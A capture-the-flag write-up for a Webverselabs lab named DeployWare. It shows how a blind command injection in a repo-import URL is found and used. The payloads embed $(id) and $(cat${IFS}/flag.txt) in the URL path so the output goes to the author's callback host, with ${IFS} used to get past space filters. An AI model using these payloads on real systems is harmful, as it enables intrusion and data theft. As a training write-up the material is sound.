Webverselabs DeployWare Challenge Command Injection

Scenario :

DeployWare is a GitOps platform that lets teams connect repositories and automate deployments. The Repo Import feature lets users submit a git URL for DeployWare to clone and analyse. The URL is written to a job queue and processed by a background worker that runs every 30 seconds. Nothing executes at submission time, and the import form gives no feedback beyond “job queued.” The worker that processes it is running a construction that hasn’t been reviewed in months.

Solution :

First look at the application, we see that this is an app that helps when it comes to deploying apps and managing Repos.

/Products , /Config , /Integrations , /Pricing , /Docs : All just returns static pages describing the product, nothing useful to us.

We first create an account to explore the app.

Once we login , we find a list of Projects as well as additional endpoints we can enumerate :

One thing to note is the Import Repo feature , this is probably the way in, but first let’s visit all the endpoints to be sure.

/Deployment :

A list of Recent deployed projects, just a static page, nothing useful .

/Pipelines :

Again nothing useful here , just a static page containing different pipelines .

/Settings :

Obviously the settings are pretty much useless to us as well .

/Repos :

Here we have the possibility to import Repositories .

Now first thing i did was import our the URL given to us by Webverslabs server to see if we get a call back .

Once we import it :

Let’s check our server to see if we get a callback :

We do , and we see that the query made to our server is : service=git-upload-pack .

Few assumptions here , the server is running a git command in the backend , so we can try to inject other commands to see we the server runs them as well . I tried a bunch of commands injection payloads :

At first i assumed we’re inside a doube quote or one quote so i tried escaping it first before adding our injection payloads but that didn’t work either .

Now assuming this is the command ran by the server :

/bin/bash -c "git clone $url" 

If we are in a double quote we can try to add our command like this : $(id) since this will execute id even if we are inside a “” so it will become something like this :

/bin/bash -c "git clone $url $(id)" 

Didn’t work either , but looking at our Server , we see that if we do that we don’t even get a callback ; makes sense since we’re not calling the correct URL if we are adding $(id) to it .

Then i tried adding it like a directory this way it will call back our server and attempt to access the $(id) file which will execute the command instead :

/bin/bash -c "git clone $url" 

But here the URL is :
http://3e6a2fa6-4327-deployware-9c752.interact.webverselabs-pro.com/$(id) 

This works perfectly , now we can just read the flag using the same method , ofc if we have an issue with space filters just use ${IFS} to bypass it :

http://3e6a2fa6-4327-deployware-9c752.interact.webverselabs-pro.com/$(cat${IFS}/flag.txt) 

Now Once the server imports this URL , we should get our call back with the flag .

That was all for this challenge. See you in the next one :)